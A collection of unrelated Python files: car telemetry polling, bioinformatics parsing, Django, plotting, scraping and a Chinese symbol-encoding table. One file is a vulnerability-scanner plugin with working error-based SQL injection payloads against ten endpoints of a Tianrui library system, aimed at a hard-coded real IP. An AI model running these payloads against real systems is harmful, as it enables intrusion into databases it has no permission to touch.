pickle.load(f) except: manualForcePoll = False print(manualForcePoll) updated, parsedStatus, afstand, googlelocation = bluelink.pollcar(manualForcePoll) # clear semaphore flag manualForcePoll = False with open('semaphore.pkl', 'wb') as f: pickle.dump(manualForcePoll, f) if updated: print('afstand van huis, rijrichting, snelheid en km-stand: ', afstand, ' / ', parsedStatus['heading'], '/', parsedStatus['speed'], '/', parsedStatus['odometer']) print(googlelocation) print("range ", parsedStatus['range'], "soc: ", parsedStatus['chargeHV']) if parsedStatus['charging']: print("Laden") if parsedStatus['trunkopen']: print("kofferbak open") if not (parsedStatus['locked']): print("deuren van slot") if parsedStatus['dooropenFL']: print("bestuurdersportier open") print("soc12v ", parsedStatus['charge12V'], "status 12V", parsedStatus['status12V']) print("=============") time.sleep(bluelink.heartbeatinterval) if x == 8: print(bluelink.vehicle.api_set_navigation(geolookup(input("Press Enter address to navigate to...")))) if x == 9: invoer = input("Enter maximum for fast and slow charging (space or comma or semicolon or colon seperated)") for delim in ',;:': invoer = invoer.replace(delim, ' ') print(bluelink.vehicle.api_set_chargelimits(invoer.split()[0], invoer.split()[1])) if x == 10: print(json.dumps(bluelink.vehicle.api_get_chargeschedule(),indent=4)) if x == 11: print(bluelink.vehicle.api_get_services()) if x == 12: print(str(bluelink.pollcar(True))) if x == 13: print( "feature removed") if x == 14: print(bluelink.vehicle.api_get_odometer()) if x == 15: print(bluelink.vehicle.api_get_parklocation()) if x == 16: print(bluelink.vehicle.api_get_userinfo()) if x == 17: print(bluelink.vehicle.api_get_monthlyreport(2021,5)) if x == 18: print(bluelink.vehicle.api_get_monthlyreportlist()) input("Press Enter to continue...") # except (ValueError) as err: # print("error in menu keuze") else: logging.error("initialisation failed")
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#!/usr/bin/env python3 """ Author : kai Date : 2019-06-26 Purpose: Rock the Casbah """ import argparse import sys import re import csv # -------------------------------------------------- def get_args(): """get command-line arguments""" parser = argparse.ArgumentParser( description='Argparse Python script', formatter_class=argparse.ArgumentDefaultsHelpFormatter) # parser.add_argument( # 'positional', metavar='str', help='A positional argument') parser.add_argument( '-a', '--arg', help='A named string argument', metavar='str', type=str, default='') parser.add_argument( '-i', '--int', help='A named integer argument', metavar='int', type=int, default=0) parser.add_argument( '-f', '--flag', help='A boolean flag', action='store_true') return parser.parse_args() # -------------------------------------------------- def warn(msg): """Print a message to STDERR""" print(msg, file=sys.stderr) # -------------------------------------------------- def die(msg='Something bad happened'): """warn() and exit with error""" warn(msg) sys.exit(1) # -------------------------------------------------- def main(): """Make a jazz noise here""" args = get_args() str_arg = args.arg int_arg = args.int flag_arg = args.flag #pos_arg = args.positional #read and open the annotations file intpro_dict = {} with open('InterPro_entry_list.tsv') as csvfile: reader = csv.DictReader(csvfile, delimiter='\t') for row in reader: intpro_dict[row['ENTRY_AC']] = row['ENTRY_NAME'] with open('model_topics.txt', 'r') as file: model_topics = file.read().replace('\n', '') model_topics = re.sub("'", "", model_topics) model_topics = re.sub("\[", "", model_topics) model_topics = re.sub("\]", "", model_topics) mtl = model_topics.split('), ') with open('output_topics.tsv' ,'w') as f: print('Topic\tModel_coefficient\tInterpro_ID\tInterPro_ENTRY_NAME', file=f) for list in mtl: topic = list[1] split_list = list.split() id_re = re.compile('IPR\d{3}') c_words = [] for w in split_list: match = id_re.search(w) if match: c_words.append(w) c_words = [re.sub('"', '', i) for i in c_words] for w in c_words: re.sub('\)', '', w) coef, intpro = w.split('*') intpro = intpro[:9] if intpro in intpro_dict.keys(): label = intpro_dict[intpro] else: label = '' print('{}\t{}\t{}\t{}'.format(topic,coef,intpro,label), file=f) # -------------------------------------------------- if __name__ == '__main__': main()
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from django.urls import path from users import views app_name = 'users' urlpatterns = [ path('create/',views.CreateUserView.as_view(),name='create'), path('token/',views.CreateTokenView.as_view(),name='token'), path('me/', views.ManageUserView.as_view(),name='me'), ]
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import matplotlib as mpl import matplotlib.pyplot as plt import networkx as nx import pandas as pd def get_a_dict(filepath): df = pd.read_csv(filepath).iloc[:, 1:13] theme_dict = {} interesting_theme_idx = [3, 6, 11, 15, 16] theme_names = ['Horrendous IVR', 'Mobile Disengagement', "Couldn't Find it Online", "Mobile Users", "Just Show Me the Summary"] counter = 0 for row_num in interesting_theme_idx: theme_dict[theme_names[counter]] = [df.iloc[row_num, ::2], df.iloc[row_num, 1::2]] counter += 1 return theme_dict def draw_graph(edgeWeights,plotName='network_graph.png'): """ INPUT: this function takes in a dictionary of each edge names and the weight corresponding to that edge name """ edgeDict = {"t1e1":("T1","E1"), "t1e2":("T1","E2"), "t1e6":("T1","E6"), "t2e4":("T2","E4"), "t2e5":("T2","E5"), "t2e6":("T2","E6"), "t3e3":("T3","E3"), "t3e4":("T3","E4"), "t3e5":("T3","E5")} ## initialize the graph G = nx.Graph() for node in ["T1","T2","T3","E1","E2","E3","E4", "E5", "E6"]: G.add_node(node) for edgeName,edge in edgeDict.iteritems(): G.add_edge(edge[0],edge[1],weight=edgeWeights[edgeName]) # explicitly set positions pos={"T1":(2,2), "T2":(3.5,2), "T3":(5,2), "E1":(1,1), "E2":(2,1), "E3":(3,1), "E4":(4,1), "E5": (5, 1), "E6": (6, 1)} ## get insignificant edges isEdges = [(u,v) for (u,v,d) in G.edges(data=True) if d['weight'] ==0.0] # plot the network nodeSize = 2000 colors = [edge[2]['weight'] for edge in G.edges_iter(data=True)] cmap = plt.cm.winter fig = plt.figure(figsize=(12,6)) fig.suptitle('Word Theme Probabilities', fontsize=14, fontweight='bold') ax = fig.add_axes([0.355, 0.0, 0.7, 1.0]) nx.draw(G,pos,node_size=nodeSize,edge_color=colors,width=4,edge_cmap=cmap,edge_vmin=-0.5,edge_vmax=0.5,ax=ax, with_labels=True) nx.draw_networkx_nodes(G,pos,node_size=nodeSize,nodelist=["T1","T2","T3"],node_color='#F2F2F2',with_labels=True) nx.draw_networkx_nodes(G,pos,node_size=nodeSize,nodelist=["E1","E2","E3","E4", "E5", "E6"],node_color='#0066FF',with_labels=True) nx.draw_networkx_edges(G,pos,edgelist=isEdges,width=1,edge_color='k',style='dashed') ## add a colormap ax1 = fig.add_axes([0.03, 0.05, 0.35, 0.14]) norm = mpl.colors.Normalize(vmin=0.05, vmax=.2) cb1 = mpl.colorbar.ColorbarBase(ax1,cmap=cmap, norm=norm, orientation='horizontal') # add an axis for the legend ax2 = fig.add_axes([0.03,0.25,0.35,0.65]) # l,b,w,h ax2.set_yticks([]) ax2.set_xticks([]) ax2.set_frame_on(True) fontSize = 10 ax2.text(0.1,0.9,r"$T1$ = Horrendous IVR" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.8,r"$T2$ = Mobile Disengagement" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.7,r"$T3$ = Mobile Users" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.6,r"$E1$ = agent.transfer->ivr.exit" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.5,r"$E2$ = agent.assigned->call.transfer" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.4,r"$E3$ = sureswip.login->view.account.summary" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.3,r"$E4$ = mobile.exit->mobile.entry" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.2,r"$E5$ = mobile.exit->journey.exit" ,color='k',fontsize=fontSize,ha="left", va="center") ax2.text(0.1,0.1,r"$E6$ = ivr.entry->ivr.proactive.balance" ,color='k',fontsize=fontSize,ha="left", va="center") plt.savefig(plotName) if __name__ == "__main__": filepath = '../word_transition_model/data/transitions_df.csv' data_dict = get_a_dict(filepath) summary = data_dict['Just Show Me the Summary'] summary_events = summary[0] summary_scores = summary[1] edge_weights = {"t1e1":0.14, "t1e2":0.13, "t1e6":0.12, "t2e4":0.05, "t2e5":0.16, "t2e6":0.0, "t3e3":0.3, "t3e4":0.1, "t3e5":0.04} draw_graph(edge_weights)
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# -*- coding: utf-8 -*- # Copyright (c) 2021, BS and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document from frappe.utils.nestedset import get_descendants_of from frappe.utils import flt class GLEntry(Document): pass
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# Generated by Django 3.0.4 on 2020-03-14 15:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0001_initial'), ] operations = [ migrations.AlterField( model_name='user', name='first_name', field=models.CharField(blank=True, max_length=32, null=True), ), migrations.AlterField( model_name='user', name='last_name', field=models.CharField(blank=True, max_length=32, null=True), ), ]
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from torch import Tensor from torchvision import transforms class SVHNTransform: """ """ def __call__(self, x) -> Tensor: """ Make SVHN transform Args: x: Input tensor Return: Transform tensor """ x = transforms.ToTensor()(x) return x class MNISTTransform: """ """ def __call__(self, x) -> Tensor: """ Make MNIST transform Args: x: Input tensor Return: Transform tensor """ x = transforms.Resize((32, 32))(x) x = transforms.ToTensor()(x) return x
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#!/home/rakeshmistry/bin/Python-3.4.3/bin/python3 # @author: rakesh mistry - 'inspire' # @date: 2015-08-06 import sys import re import os import math # Function: parseSmt2File def parseSmt2FileVariables(smt2File): compiledVarPattern = re.compile("[ \t]*\(declare-fun") varMap = {} for line in smt2File: if compiledVarPattern.search(line): wordList = line.split() varName = wordList[1] varWidthStr = wordList[-1].rstrip(")") if varWidthStr.isdigit(): varWidth = int(varWidthStr) varMap[varName] = varWidth return varMap # Function: main def main(argv): # check for correct number of arguments scriptName = os.path.basename(__file__) if len(argv) < 3: sys.stderr.write("Error: Invalid arguments.\n") sys.stderr.write(" [Usage]: " + scriptName + " <input_SMT2_file> <output_file>\n") sys.exit(1) # open files inputSMTFile = open(argv[1], "r") finalOutputFile = open(argv[2], "w") varMap = parseSmt2FileVariables(inputSMTFile) maxBitwidth = max(varMap.values()) singleBitVars = 0 multiBitVars = 0 for key in varMap.keys(): if varMap[key] > 1: multiBitVars += 1 else: singleBitVars += 1 finalOutputFile.write(str(maxBitwidth) + ";" + str(len(varMap)) + ";" + str(multiBitVars) + ";" + str(singleBitVars)) finalOutputFile.close() if __name__ == "__main__": main(sys.argv)
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#!/usr/bin/python #coding=utf-8 import json, re, logging, time, io, os import sys from simplified_scrapy.core.config_helper import Configs from simplified_scrapy.core.sqlite_cookiestore import SqliteCookieStore from simplified_scrapy.core.request_helper import requestPost, requestGet, getResponseStr, extractHtml from simplified_scrapy.core.utils import convertTime2Str, convertStr2Time, printInfo, absoluteUrl from simplified_scrapy.core.regex_helper import * from simplified_scrapy.core.sqlite_urlstore import SqliteUrlStore from simplified_scrapy.core.sqlite_htmlstore import SqliteHtmlStore from simplified_scrapy.core.obj_store import ObjStore class Spider(): name = None models = None concurrencyPer1s = 1 use_cookie = True use_ip = False # globle version = "0.0.1" request_timeout = None allowed_domains = [] excepted_domains = [] custom_down = False # globle useragent = None proxyips = None logged_in = False login_data = None refresh_urls = False stop = False encodings = {} request_tm = False save_html = True def __init__(self, name=None): try: if name is not None: self.name = name elif not getattr(self, 'name', None): raise ValueError("%s must have a name" % type(self).__name__) if not hasattr(self, 'start_urls'): self.start_urls = [] if not hasattr(self, 'url_store'): self.url_store = SqliteUrlStore(self.name) if not hasattr(self, 'html_store'): self.html_store = SqliteHtmlStore(self.name) if not hasattr(self, "obj_store"): self.obj_store = ObjStore(self.name) if not hasattr(self, "cookie_store"): self.cookie_store = SqliteCookieStore() if not self.refresh_urls: self.url_store.saveUrl(self.start_urls, 0) else: self.url_store.resetUrls(self.start_urls) self.listA = listA self.listImg = listImg self.getElementsByTag = getElementsByTag self.getElementByID = getElementByID self.getElementsByClass = getElementsByClass self.getElementByTag = getElementByTag self.getElementByClass = getElementByClass self.getElement = getElement self.getElements = getElements self.getElementByAttr = getElementByAttr self.getParent = getParent self.getChildren = getChildren self.getNexts = getNexts self.getSection = getSection self.removeHtml = removeHtml self.trimHtml = trimHtml self.removeScripts = removeScripts self.tm = 0 self.absoluteUrl = absoluteUrl except Exception as err: self.log(err, logging.ERROR) def log(self, msg, level=logging.DEBUG): printInfo(msg) logger = logging.getLogger() logging.LoggerAdapter(logger, None).log(level, msg) def login(self, obj=None): if (not obj): obj = self.login_data if (obj and obj.get('url')): data = obj.get('data') if (obj.get('method') == 'get'): return requestGet(obj.get('url'), obj.get('headers'), obj.get('useProxy'), self) else: return requestPost(obj.get('url'), data, obj.get('headers'), obj.get('useProxy'), self) else: return False def getCookie(self, url): if (self.use_cookie and self.cookie_store): return self.cookie_store.getCookie(url) return None def setCookie(self, url, cookie): if (self.use_cookie and self.cookie_store and cookie): self.cookie_store.setCookie(url, cookie) def beforeRequest(self, url, request, extra=None): cookie = self.getCookie(url) if (cookie): if sys.version_info.major == 2: request.add_header('Cookie', cookie) else: request.add_header('Cookie', cookie) return request def afterResponse(self, response, url, error=False, extra=None): html = getResponseStr(response, url, self, error) if sys.version_info.major == 2: cookie = response.info().getheaders('Set-Cookie') else: cookie = response.info().get('Set-Cookie') self.setCookie(url, cookie) return html def renderUrl(self, url, callback): printInfo('Need to implement method "renderUrl"') def customDown(self, url): printInfo('Need to implement method "customDown"') def popHtml(self, state=0): return self.html_store.popHtml(state) def saveHtml(self, url, html): if (html): if self.save_html: self.html_store.saveHtml(url, html) else: return self.extract(Dict(url), html, None, None) def updateHtmlState(self, id, state): self.html_store.updateState(id, state) def downloadError(self, url, err=None): printInfo('error url:', url, err) self.url_store.updateState(url, 2) def isPageUrl(self, url): if (not url): return False if ("html.htm.jsp.asp.php".find(url[-4:].lower()) >= 0): return True if ('.jpg.png.gif.bmp.rar.zip.pdf.doc.xls.ppt.exe.avi.mp4'.find( url[-4:].lower()) >= 0 or '.jpeg.xlsx.pptx.docx'.find(url[-5:].lower()) >= 0 or '.rm'.find(url[-3:].lower()) >= 0): return False return True def urlFilter(self, url): if (self.excepted_domains): for d in self.excepted_domains: if (url.find(d) > -1): return False if (self.allowed_domains): for d in self.allowed_domains: if (url.find(d) > -1): return True return False return True def _urlFilter(self, urls): tmp = [] for url in urls: u = url['url'] if u and self.urlFilter(u): tmp.append(url) return tmp def saveData(self, data): if (data): if (not isinstance(data, list) and not isinstance(data, dict)): objs = json.loads(data) elif isinstance(data, dict): objs = [data] else: objs = data for obj in objs: if (obj.get("Urls")): self.saveUrl(obj.get("Urls")) ds = obj.get("Data") if (ds): if isinstance(ds, list): for d in ds: self.saveObj(d) else: self.saveObj(ds) def saveObj(self, data): self.obj_store.saveObj(data) def extract(self, url, html, models, modelNames): if (not modelNames): return False else: return extractHtml(url["url"], html, models, modelNames, url.get("title")) _downloadPageNum = 0 _startCountTs = time.time() def checkConcurrency(self): tmSpan = time.time() - self._startCountTs if (self._downloadPageNum > (self.concurrencyPer1s * tmSpan)): return False self._startCountTs = time.time() self._downloadPageNum = 0 return True def popUrl(self): if (self.checkConcurrency()): url = self.url_store.popUrl() if url: self._downloadPageNum = self._downloadPageNum + 1 return url else: return {} return None def urlCount(self): return self.url_store.getCount() def saveUrl(self, urls): if not urls: return if not isinstance(urls, list): urls = [urls] u = urls[0] if isinstance(u, str): if u.startswith('http'): urls = [{'url': url} for url in urls] else: logging.warn('Bad link data') return elif not u.get('url'): if u.get('href'): for url in urls: url['url'] = url.get('href') elif u.get('src'): for url in urls: url['url'] = url.get('src') else: logging.warn('Link data has no url attribute') return urls = self._urlFilter(urls) self.url_store.saveUrl(urls) def plan(self): return [] def clearUrl(self): self.url_store.clearUrl() def resetUrlsTest(self): self.url_store.resetUrls(self.start_urls) def resetUrls(self, plan): if (plan and len(plan) > 0): for p in plan: now = time.localtime() hour = now[3] minute = now[4] if (p.get('hour')): hour = p.get('hour') if (p.get('minute')): minute = p.get('minute') planTime = time.strptime( u"{}-{}-{} {}:{}:00".format(now[0], now[1], now[2], hour, minute), "%Y-%m-%d %H:%M:%S") configKey = u"plan_{}".format(self.name) _lastResetTime = Configs().getValue(configKey) if (now > planTime and (not _lastResetTime or float(_lastResetTime) < time.mktime(planTime))): self.url_store.resetUrls(self.start_urls) Configs().setValue(configKey, float(time.mktime(planTime))) return True return False
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#!/usr/bin/evn python #--coding:utf-8--*-- #Name:天睿电子图书管理系统系统10处注入打包 避免重复 #Refer:http://www.wooyun.org/bugs/wooyun-2015-0120852/ #Author:xq17 def assign(service,arg): if service=="tianrui_lib": return True,arg def audit(arg): urls = [ arg + 'gl_tj_0.asp?id=1', arg + 'gl_tuijian_1.asp', arg + 'gl_tz_she.asp?zt=1&id=1', arg + 'gl_us_shan.asp?id=1', arg + 'gl_xiu.asp?id=1', arg + 'mafen.asp?shuxing=1', arg + 'ping_cha.asp?mingcheng=1', arg + 'ping_hao.asp?mingcheng=1', arg + 'pl_add.asp?id=1', arg + 'search.asp?keywords=1&shuxing=1', ] for url in urls: url += '%20and%201=convert(int,CHAR(87)%2BCHAR(116)%2BCHAR(70)%2BCHAR(97)%2BCHAR(66)%2BCHAR(99)%2B@@version)' code, head, res, err, _ = curl.curl2(url) if((code == 200) or (code == 500)) and ('WtFaBcMicrosoft SQL Server' in res): security_hole("SQL Injection: " + url) url = arg + 'gl_tz_she.asp?zt=11%20WHERE%201=1%20AND%201=convert(int,CHAR(87)%2BCHAR(116)%2BCHAR(70)%2BCHAR(97)%2BCHAR(66)%2BCHAR(99)%2B@@version)--' code, head, res, err, _ = curl.curl2(url) if ((code == 200) or (code == 500)) and ('WtFaBcMicrosoft SQL Server' in res): security_hole("SQL Injection: " + url) if __name__ == '__main__': from dummy import * audit(assign('tianrui_lib','http://218.92.71.5:1085/trebook/')[1])
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# -*- coding: utf-8 -*- def gb2unicode_simple(x): a, b = (x & 0xFF00) >> 8, x & 0x00FF if 0xAA <= a <= 0xAF and 0xA1 <= b <= 0xFE: return 0xE000 + (a - 0xAA) * 0x5E + b - 0xA1 elif 0xA1 <= a <= 0xA7 and (0x40 <= b <= 0x7E or 0x80 <= b <= 0xA0): return 0xE4C6 + (a - 0xA1) * 0x60 + (0x3F + b - 0x80 if b >= 0x80 else b - 0x40) return ord(bytearray([a, b]).decode('gb18030')) def _unichr(x): if x <= 0xFFFF: return x # U+10000 ~ U+10FFFF return bytearray([ 0xF0 | (x >> 18 & 0x7), 0x80 | (x >> 12 & 0x3F), 0x80 | (x >> 6 & 0x3F), 0x80 | (x & 0x3F)]).decode('utf-8') class UnicodeMap(dict): def __str__(self): return 'unicode map contains {0} symbols'.format(len(self)) def update(self, hashmap): for a, b in filter(lambda x: x[0] != x[1], hashmap.items()): if a != b: self[gb2unicode_simple(a)] = _unichr(b) "A库符号" symbolsA = UnicodeMap() _update = symbolsA.update # Area A1 _update({ 0xA140: 0xA140, # 带括弧的小写罗马数字1((ⅰ)) 0xA141: 0xA141, # 带括弧的小写罗马数字2((ⅱ)) 0xA142: 0xA142, # 带括弧的小写罗马数字3((ⅲ)) 0xA143: 0xA143, # 带括弧的小写罗马数字4((ⅳ)) 0xA144: 0xA144, # 带括弧的小写罗马数字5((ⅴ)) 0xA145: 0xA145, # 带括弧的小写罗马数字6((ⅵ)) 0xA146: 0xA146, # 带括弧的小写罗马数字7((ⅶ)) 0xA147: 0xA147, # 带括弧的小写罗马数字8((ⅷ)) 0xA148: 0xA148, # 带括弧的小写罗马数字9((ⅸ)) 0xA149: 0xA149, # 带括弧的小写罗马数字10((ⅹ)) 0xA14A: 0xA14A, # 带括弧的小写罗马数字11((ⅺ)) 0xA14B: 0xA14B, # 带括弧的小写罗马数字12((ⅻ)) 0xA14C: 0x003D, # 三分宽等号 = = 0xA14D: 0x2212, # 三分宽减号 = − 0xA14E: 0x2215, # 三分宽斜线(除号) = ∕ 0xA14F: 0x1D7CE, # 𝟎 0xA150: 0x1D7CF, # 𝟏 0xA151: 0x1D7D0, # 𝟐 0xA152: 0x1D7D1, # 𝟑 0xA153: 0x1D7D2, # 𝟒 0xA154: 0x1D7D3, # 𝟓 0xA155: 0x1D7D4, # 𝟔 0xA156: 0x1D7D5, # 𝟕 0xA157: 0x1D7D6, # 𝟖 0xA158: 0x1D7D7, # 𝟗 0xA159: 0x2664, # ♤ 0xA15A: 0x2667, # ♧ 0xA15B: 0x00B6, # ¶ 0xA15C: 0x26BE, # ⚾ 0xA15D: 0x263E, # 上1/4月亮 = ☾ 0xA15E: 0x263D, # 下1/4月亮 = ☽ 0xA15F: 0x263A, # 笑脸 = ☺ 0xA160: 0x1F31C, # 半脸 = 🌜 0xA161: 0x1F31B, # 半脸 = 🌛 0xA162: 0x3036, # 〶 0xA163: 0x2252, # 近似符等号 = ≒ 0xA164: 0xA164, # 吨号(T + S) 0xA165: 0x002B, # 三分宽加号 = + 0xA166: 0x223C, # 三分宽减号 = ∼ 0xA167: 0x00A9, # © 0xA168: 0x24D2, # ⓒ 0xA169: 0x24B8, # Ⓒ 0xA16A: 0x00AE, # ® 0xA16B: 0x24C7, # Ⓡ 0xA16D: 0x203E, # 上横线 = ‾ 0xA16E: 0x005F, # 下横线 = _ 0xA16F: 0x25E2, # ◢ 0xA170: 0x25E3, # ◣ 0xA171: 0x25E5, # ◥ 0xA172: 0x25E4, # ◤ 0xA173: 0x256D, # ╭ 0xA174: 0x256E, # ╮ 0xA175: 0x2570, # ╰ 0xA176: 0x256F, # ╯ 0xA177: 0x2550, # 双横线 = ═ 0xA178: 0x2551, # 双竖线 = ║ 0xA179: 0x2223, # 分开、绝对值 = ∣ 0xA17A: 0x2926, # ⤦ 0xA17B: 0x2924, # ⤤ 0xA17C: 0x2923, # ⤣ 0xA17D: 0x293E, # ⤾ 0xA17E: 0x293F, # ⤿ 0xA180: 0x21E7, # ⇧ 0xA181: 0x21E9, # ⇩ 0xA182: 0xA182, # 数字阳框码0(□ + 0) 0xA183: 0xA183, # 数字阳框码1(□ + 1) 0xA184: 0xA184, # 数字阳框码2(□ + 2) 0xA185: 0xA185, # 数字阳框码3(□ + 3) 0xA186: 0xA186, # 数字阳框码4(□ + 4) 0xA187: 0xA187, # 数字阳框码5(□ + 5) 0xA188: 0xA188, # 数字阳框码6(□ + 6) 0xA189: 0xA189, # 数字阳框码7(□ + 7) 0xA18A: 0xA18A, # 数字阳框码8(□ + 8) 0xA18B: 0xA18B, # 数字阳框码9(□ + 9) 0xA18C: 0xA18C, # 数字阴框码0(0️⃣) 0xA18D: 0xA18D, # 数字阴框码1(1️⃣) 0xA18E: 0xA18E, # 数字阴框码2(2️⃣) 0xA18F: 0xA18F, # 数字阴框码3(3️⃣) 0xA190: 0xA190, # 数字阴框码4(4️⃣) 0xA191: 0xA191, # 数字阴框码5(5️⃣) 0xA192: 0xA192, # 数字阴框码6(6️⃣) 0xA193: 0xA193, # 数字阴框码7(7️⃣) 0xA194: 0xA194, # 数字阴框码8(8️⃣) 0xA195: 0xA195, # 数字阴框码9(9️⃣) 0xA196: 0x1F6AD, # 🚭 0xA197: 0x1F377, # 🍷 0xA198: 0x26A0, # ⚠ 0xA199: 0x2620, # ☠ 0xA19A: 0xA19A, # (🚫 + 🔥) 0xA19B: 0x2B4D, # ⭍ 0xA19C: 0x21B7, # ↷ 0xA19D: 0x293A, # ⤺ 0xA19E: 0x2716, # ✖ 0xA19F: 0x003F, # 问号 = ? 0xA1A0: 0x0021 # 外文感叹号 = ! }) # Area A2 _update({ 0xA240: 0x231C, # ⌜ 0xA241: 0x231F, # ⌟ 0xA242: 0xA242, # (empty ⌜) 0xA243: 0xA243, # (empty ⌟) 0xA244: 0x231D, # ⌝ 0xA245: 0x231E, # ⌞ 0xA246: 0xA246, # (empty ⌝) 0xA247: 0xA247, # (empty ⌞) 0xA248: 0xFF1C, # < 0xA249: 0xFF1E, # > 0xA24A: 0x2AA1, # ⪡ 0xA24B: 0x2AA2, # ⪢ 0xA24C: 0xA24C, # (vertical ”) 0xA24D: 0xA24D, # (vertical “) 0xA24E: 0x201E, # „ 0xA24F: 0xA24F, # 斜感叹号(italic !) 0xA250: 0xA250, # 斜问号(italic ?) 0xA251: 0xA76C, # ❬ 0xA252: 0xA76D, # ❭ 0xA253: 0xA253, # (reversed 「) 0xA254: 0xA254, # (reversed 」) 0xA255: 0xA255, # (reversed 『) 0xA256: 0xA256, # (reversed 』) 0xA257: 0x203C, # 双叹号 = ‼ 0xA258: 0xA258, # 斜双叹号(italic ‼) 0xA259: 0x2047, # 双问号 = ⁇ 0xA25A: 0xA25A, # 斜双问号(italic ⁇) 0xA25B: 0x2048, # 疑问感叹号 = ⁈ 0xA25C: 0xA25C, # 斜疑问感叹号(italic ⁈) 0xA25D: 0x2049, # 感叹疑问号 = ⁉ 0xA25E: 0xA25E, # 斜感叹疑问号(italic ⁉) 0xA25F: 0xA25F, # 竖排小数点(vertical .) 0xA260: 0x03D6, # 希腊文符号PI = ϖ 0xA261: 0x2116, # № 0xA262: 0x0142, # 多国外文:带笔画的小写字母l = ł 0xA263: 0x0131, # 多国外文:无点的小写字母I = ı 0xA264: 0x014B, # 多国外文:小写字母eng = ŋ 0xA265: 0x0327, # 下加符 = ̧ 0xA266: 0x00BF, # 倒置问号 = ¿ 0xA267: 0x00A1, # 倒置感叹号 = ¡ 0xA268: 0x00D8, # 多国外文:带笔画的大写字母O = Ø 0xA269: 0x00F8, # 多国外文:带笔画的小写字母o = ø 0xA26A: 0x0087, # 二重剑标 = ‡ 0xA26B: 0x0086, # 短剑标 = † 0xA26C: 0x014A, # 多国外文:大写字母ENG = Ŋ 0xA26D: 0xFB00, # 多国外文 = ff 0xA26E: 0xFB01, # 多国外文 = fi 0xA26F: 0xFB02, # 多国外文 = fl 0xA270: 0xFB03, # 多国外文 = ffi 0xA271: 0xFB04, # 多国外文 = ffl 0xA272: 0x0141, # 多国外文 = Ł 0xA273: 0x00C7, # 多国外文 = Ç 0xA274: 0x00C6, # 多国外文 = Æ 0xA275: 0x00E6, # 多国外文 = æ 0xA276: 0x008C, # 多国外文 = Œ 0xA277: 0x009C, # 多国外文 = œ 0xA278: 0x00DF, # 多国外文 = ß 0xA279: 0x0083, # 多国外文 = ƒ 0xA27A: 0x00E5, # 多国外文 = å 0xA27B: 0x00E2, # 多国外文 = â 0xA27C: 0x00E4, # 多国外文 = ä 0xA27D: 0x0101, # 多国外文 = ā 0xA27E: 0x00E1, # 多国外文 = á 0xA280: 0x01CE, # 多国外文 = ǎ 0xA281: 0x00E0, # 多国外文 = à 0xA282: 0x00E3, # 多国外文 = ã 0xA283: 0x00EB, # 多国外文 = ë 0xA284: 0x1EBD, # 多国外文 = ẽ 0xA285: 0x00EE, # 多国外文 = î 0xA286: 0x00EF, # 多国外文 = ï 0xA287: 0x00F5, # 多国外文 = õ 0xA288: 0x00F4, # 多国外文 = ô 0xA289: 0x00F6, # 多国外文 = ö 0xA28A: 0x00FB, # 多国外文 = û 0xA28B: 0x00F1, # 多国外文 = ñ 0xA28C: 0x009A, # 多国外文 = š 0xA28D: 0x015D, # 多国外文 = ŝ 0xA28E: 0x011D, # 多国外文 = ĝ 0xA28F: 0x00FF, # 多国外文 = ÿ 0xA290: 0x009E, # 多国外文 = ž 0xA291: 0x1E91, # 多国外文 = ẑ 0xA292: 0x0109, # 多国外文 = ĉ 0xA293: 0x00E7, # 多国外文 = ç 0xA294: 0xA294, # 多国外文(ê̄) 0xA295: 0x1EBF, # 多国外文 = ế 0xA296: 0xA296, # 多国外文(ê̌) 0xA297: 0x1EC1, # 多国外文 = ề 0xA29A: 0x0307, # 组合用发音符 = ̇ 0xA29B: 0x030A, # 组合用发音符 = ̊ 0xA29C: 0x0303, # 组合用发音符 = ̃ 0xA29D: 0x20F0, # 组合用发音符 = ⃰ 0xA29E: 0x0306, # 组合用发音符 = ̆ 0xA29F: 0x002C, # 外文逗号 = , 0xA2A0: 0x0085, # 外文三点省略号,外文三连点 = … 0xA2AB: 0x217A, # 小写罗马数字11 = ⅺ 0xA2AC: 0x217B, # 小写罗马数字12 = ⅻ 0xA2AD: 0xA2AD, # 小写罗马数字13(ⅹⅲ) 0xA2AE: 0xA2AE, # 小写罗马数字14(ⅹⅳ) 0xA2AF: 0xA2AF, # 小写罗马数字15(ⅹⅴ) 0xA2B0: 0xA2B0, # 小写罗马数字16(ⅹⅵ) 0xA2EF: 0xA2EF, # 大写罗马数字15(ⅩⅤ) 0xA2F0: 0xA2F0, # 大写罗马数字16(ⅩⅥ) 0xA2FD: 0xA2FD, # 大写罗马数字13(ⅩⅢ) 0xA2FE: 0xA2FE, # 大写罗马数字14(ⅩⅣ) }) # Area A3 _update({ 0xA340: 0xA340, # 带括号的大写罗马数字1((Ⅰ)) 0xA341: 0xA341, # 带括号的大写罗马数字2((Ⅱ)) 0xA342: 0xA342, # 带括号的大写罗马数字3((Ⅲ)) 0xA343: 0xA343, # 带括号的大写罗马数字4((Ⅳ)) 0xA344: 0xA344, # 带括号的大写罗马数字5((Ⅴ)) 0xA345: 0xA345, # 带括号的大写罗马数字6((Ⅵ)) 0xA346: 0xA346, # 带括号的大写罗马数字7((Ⅶ)) 0xA347: 0xA347, # 带括号的大写罗马数字8((Ⅷ)) 0xA348: 0xA348, # 带括号的大写罗马数字9((Ⅸ)) 0xA349: 0xA349, # 带括号的大写罗马数字10((Ⅹ)) 0xA34A: 0xA34A, # 带括号的大写罗马数字11((Ⅺ)) 0xA34B: 0xA34B, # 带括号的大写罗马数字12((Ⅻ)) 0xA34C: 0x24FF, # 数字阴圈码0 = ⓿ 0xA34D: 0x2776, # 数字阴圈码1 = ❶ 0xA34E: 0x2777, # 数字阴圈码2 = ❷ 0xA34F: 0x2778, # 数字阴圈码3 = ❸ 0xA350: 0x2779, # 数字阴圈码4 = ❹ 0xA351: 0x277A, # 数字阴圈码5 = ❺ 0xA352: 0x277B, # 数字阴圈码6 = ❻ 0xA353: 0x277C, # 数字阴圈码7 = ❼ 0xA354: 0x277D, # 数字阴圈码8 = ❽ 0xA355: 0x277E, # 数字阴圈码9 = ❾ 0xA356: 